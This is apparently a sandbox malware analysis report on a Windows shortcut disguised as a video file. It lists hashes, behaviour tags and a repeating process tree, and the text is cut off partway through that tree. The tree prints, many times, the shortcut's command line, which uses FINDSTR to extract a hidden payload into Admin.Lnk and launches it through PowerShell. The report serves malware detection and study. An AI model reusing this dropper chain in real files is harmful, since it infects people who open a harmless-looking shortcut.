bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726

Analysis

max time kernel
110s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/05/2026, 00:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.lnk
Size 2KB
Sample260511-axgymsgx8v
SHA256 bda9508dc45044a322db0cdf6693c2f5e3d598a46d0836b81ba0369ad0bb5726
MD5 2e85c2338a7f21e5e2b435894e198744
SHA1 f24f528c00c653f06677b1c8d5ad12c29bee409e
SHA512 41407336a42ac91a6a6ae2da22380f8c11e45a26c134ddbbb91365b659dcb645d8c00f71c90da02d2e55d6a6a2689727e9673cf09b4e994764905ede05aae7ae
TLSH
T19D41120866DC1723E773EAB68CEAE61A853B7C08F5645F0D0180414F34B6902FD25F7A
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2400	powershell.exe
3248	powershell.exe
5436	powershell.exe
3140	powershell.exe
3816	powershell.exe
928	powershell.exe
2004	powershell.exe
4816	powershell.exe
5956	powershell.exe
6096	powershell.exe
5340	powershell.exe
1260	powershell.exe
1540	powershell.exe
4684	powershell.exe
3800	powershell.exe
6064	powershell.exe
1224	powershell.exe
2448	powershell.exe
5556	powershell.exe
1388	powershell.exe
5804	powershell.exe
4112	powershell.exe
4620	powershell.exe
3044	powershell.exe
908	powershell.exe
3996	powershell.exe
3776	powershell.exe
4976	powershell.exe
5680	powershell.exe
2008	powershell.exe
3356	powershell.exe
4900	powershell.exe
1544	powershell.exe
5684	powershell.exe
2104	powershell.exe
1072	powershell.exe
5464	powershell.exe
5940	powershell.exe
5844	powershell.exe
2340	powershell.exe
6116	powershell.exe
4136	powershell.exe
3212	powershell.exe
5288	powershell.exe
5172	powershell.exe
4580	powershell.exe
1672	powershell.exe
1916	powershell.exe
5232	powershell.exe
4260	powershell.exe
1736	powershell.exe
5272	powershell.exe
4164	powershell.exe
5324	powershell.exe
2332	powershell.exe
4940	powershell.exe
5816	powershell.exe
5316	powershell.exe
3500	powershell.exe
2644	powershell.exe
3376	powershell.exe
4276	powershell.exe
5144	powershell.exe
4244	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3500	powershell.exe
3500	powershell.exe
4988	powershell.exe
4988	powershell.exe
1320	powershell.exe
1320	powershell.exe
5804	powershell.exe
5804	powershell.exe
2316	powershell.exe
2316	powershell.exe
5184	powershell.exe
5184	powershell.exe
6136	powershell.exe
6136	powershell.exe
4668	powershell.exe
4668	powershell.exe
5680	powershell.exe
5680	powershell.exe
5464	powershell.exe
5464	powershell.exe
1504	powershell.exe
1504	powershell.exe
3428	powershell.exe
3428	powershell.exe
2012	powershell.exe
2012	powershell.exe
5172	powershell.exe
5172	powershell.exe
5404	powershell.exe
5404	powershell.exe
3444	powershell.exe
3444	powershell.exe
2040	powershell.exe
2040	powershell.exe
5064	powershell.exe
5064	powershell.exe
1908	powershell.exe
1908	powershell.exe
4228	powershell.exe
4228	powershell.exe
1020	powershell.exe
1020	powershell.exe
2384	powershell.exe
2384	powershell.exe
3816	powershell.exe
3816	powershell.exe
5936	powershell.exe
5936	powershell.exe
4112	powershell.exe
4112	powershell.exe
6028	powershell.exe
6028	powershell.exe
2008	powershell.exe
2008	powershell.exe
4932	powershell.exe
4932	powershell.exe
4580	powershell.exe
4580	powershell.exe
3164	powershell.exe
3164	powershell.exe
5940	powershell.exe
5940	powershell.exe
5104	powershell.exe
5104	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3500	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	5804	powershell.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	5184	powershell.exe
Token: SeDebugPrivilege	6136	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	5680	powershell.exe
Token: SeDebugPrivilege	5464	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	5172	powershell.exe
Token: SeDebugPrivilege	5404	powershell.exe
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	5936	powershell.exe
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	5940	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	5284	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	5748	powershell.exe
Token: SeDebugPrivilege	5844	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	5328	powershell.exe
Token: SeDebugPrivilege	5596	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	6052	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4872 wrote to memory of 3784	4872	cmd.exe	85
PID 3784 wrote to memory of 5340	3784	cmd.EXE	86
PID 3784 wrote to memory of 3500	3784	cmd.EXE	87
PID 3500 wrote to memory of 4008	3500	powershell.exe	88
PID 4008 wrote to memory of 1760	4008	cmd.EXE	90
PID 4008 wrote to memory of 4988	4008	cmd.EXE	91
PID 4988 wrote to memory of 2424	4988	powershell.exe	92
PID 2424 wrote to memory of 1004	2424	cmd.EXE	94
PID 2424 wrote to memory of 1320	2424	cmd.EXE	95
PID 1320 wrote to memory of 2864	1320	powershell.exe	96
PID 2864 wrote to memory of 6108	2864	cmd.EXE	98
PID 2864 wrote to memory of 5804	2864	cmd.EXE	99
PID 5804 wrote to memory of 2692	5804	powershell.exe	100
PID 2692 wrote to memory of 3312	2692	cmd.EXE	102
PID 2692 wrote to memory of 2316	2692	cmd.EXE	103
PID 2316 wrote to memory of 2056	2316	powershell.exe	104
PID 2056 wrote to memory of 6068	2056	cmd.EXE	106
PID 2056 wrote to memory of 5184	2056	cmd.EXE	107
PID 5184 wrote to memory of 3956	5184	powershell.exe	108
PID 3956 wrote to memory of 2144	3956	cmd.EXE	110
PID 3956 wrote to memory of 6136	3956	cmd.EXE	111
PID 6136 wrote to memory of 548	6136	powershell.exe	112
PID 548 wrote to memory of 4960	548	cmd.EXE	114
PID 548 wrote to memory of 4668	548	cmd.EXE	115
PID 4668 wrote to memory of 5112	4668	powershell.exe	116
PID 5112 wrote to memory of 4636	5112	cmd.EXE	118
PID 5112 wrote to memory of 5680	5112	cmd.EXE	119
PID 5680 wrote to memory of 5560	5680	powershell.exe	120
PID 5560 wrote to memory of 5500	5560	cmd.EXE	122
PID 5560 wrote to memory of 5464	5560	cmd.EXE	123
PID 5464 wrote to memory of 924	5464	powershell.exe	124
PID 924 wrote to memory of 1240	924	cmd.EXE	126
PID 924 wrote to memory of 1504	924	cmd.EXE	127
PID 1504 wrote to memory of 5016	1504	powershell.exe	128
PID 5016 wrote to memory of 3140	5016	cmd.EXE	130
PID 5016 wrote to memory of 3428	5016	cmd.EXE	131
PID 3428 wrote to memory of 2492	3428	powershell.exe	132
PID 2492 wrote to memory of 4656	2492	cmd.EXE	134
PID 2492 wrote to memory of 2012	2492	cmd.EXE	135
PID 2012 wrote to memory of 864	2012	powershell.exe	136
PID 864 wrote to memory of 5188	864	cmd.EXE	138
PID 864 wrote to memory of 5172	864	cmd.EXE	139
PID 5172 wrote to memory of 4896	5172	powershell.exe	140
PID 4896 wrote to memory of 4936	4896	cmd.EXE	142
PID 4896 wrote to memory of 5404	4896	cmd.EXE	143
PID 5404 wrote to memory of 4588	5404	powershell.exe	144
PID 4588 wrote to memory of 5996	4588	cmd.EXE	146
PID 4588 wrote to memory of 3444	4588	cmd.EXE	147
PID 3444 wrote to memory of 5036	3444	powershell.exe	148
PID 5036 wrote to memory of 3844	5036	cmd.EXE	150
PID 5036 wrote to memory of 2040	5036	cmd.EXE	151
PID 2040 wrote to memory of 3432	2040	powershell.exe	152
PID 3432 wrote to memory of 6088	3432	cmd.EXE	154
PID 3432 wrote to memory of 5064	3432	cmd.EXE	155
PID 5064 wrote to memory of 1604	5064	powershell.exe	156
PID 1604 wrote to memory of 1672	1604	cmd.EXE	158
PID 1604 wrote to memory of 1908	1604	cmd.EXE	159
PID 1908 wrote to memory of 5912	1908	powershell.exe	160
PID 5912 wrote to memory of 3800	5912	cmd.EXE	162
PID 5912 wrote to memory of 4228	5912	cmd.EXE	163
PID 4228 wrote to memory of 2112	4228	powershell.exe	164
PID 2112 wrote to memory of 3796	2112	cmd.EXE	166
PID 2112 wrote to memory of 1020	2112	cmd.EXE	167
PID 1020 wrote to memory of 5344	1020	powershell.exe	168

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4872
- C:\Windows\SYSTEM32\cmd.EXE
  "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\system32\findstr.exe
    FINDSTR /v "zDG2j lb8L0166" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
    3⤵
    PID:5340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3500
  - - C:\Windows\SYSTEM32\cmd.EXE
      "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4008
    - - C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0241" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        5⤵
        
        PID:1760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4988
      - C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2424
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0293" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        7⤵
        
        PID:1004
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1320
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2864
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0376" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        9⤵
        
        PID:6108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5804
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2692
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0445" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        11⤵
        
        PID:3312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        11⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2316
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        12⤵
        Suspicious use of WriteProcessMemory
        
        PID:2056
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0521" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        13⤵
        
        PID:6068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        13⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5184
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        14⤵
        Suspicious use of WriteProcessMemory
        
        PID:3956
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0587" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        15⤵
        
        PID:2144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        15⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6136
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        16⤵
        Suspicious use of WriteProcessMemory
        
        PID:548
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0665" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        17⤵
        
        PID:4960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        17⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4668
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        18⤵
        Suspicious use of WriteProcessMemory
        
        PID:5112
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0732" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        19⤵
        
        PID:4636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        19⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5680
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        20⤵
        Suspicious use of WriteProcessMemory
        
        PID:5560
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0805" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        21⤵
        
        PID:5500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        21⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5464
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        22⤵
        Suspicious use of WriteProcessMemory
        
        PID:924
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0873" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        23⤵
        
        PID:1240
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        23⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1504
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        24⤵
        Suspicious use of WriteProcessMemory
        
        PID:5016
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0945" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        25⤵
        
        PID:3140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        25⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3428
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        26⤵
        Suspicious use of WriteProcessMemory
        
        PID:2492
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0996" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        27⤵
        
        PID:4656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        27⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2012
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        28⤵
        Suspicious use of WriteProcessMemory
        
        PID:864
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0066" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        29⤵
        
        PID:5188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        29⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5172
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        30⤵
        Suspicious use of WriteProcessMemory
        
        PID:4896
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0130" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        31⤵
        
        PID:4936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        31⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5404
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        32⤵
        Suspicious use of WriteProcessMemory
        
        PID:4588
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0198" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        33⤵
        
        PID:5996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        33⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3444
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        34⤵
        Suspicious use of WriteProcessMemory
        
        PID:5036
        
        C:\Windows\system32\findstr.exe
        
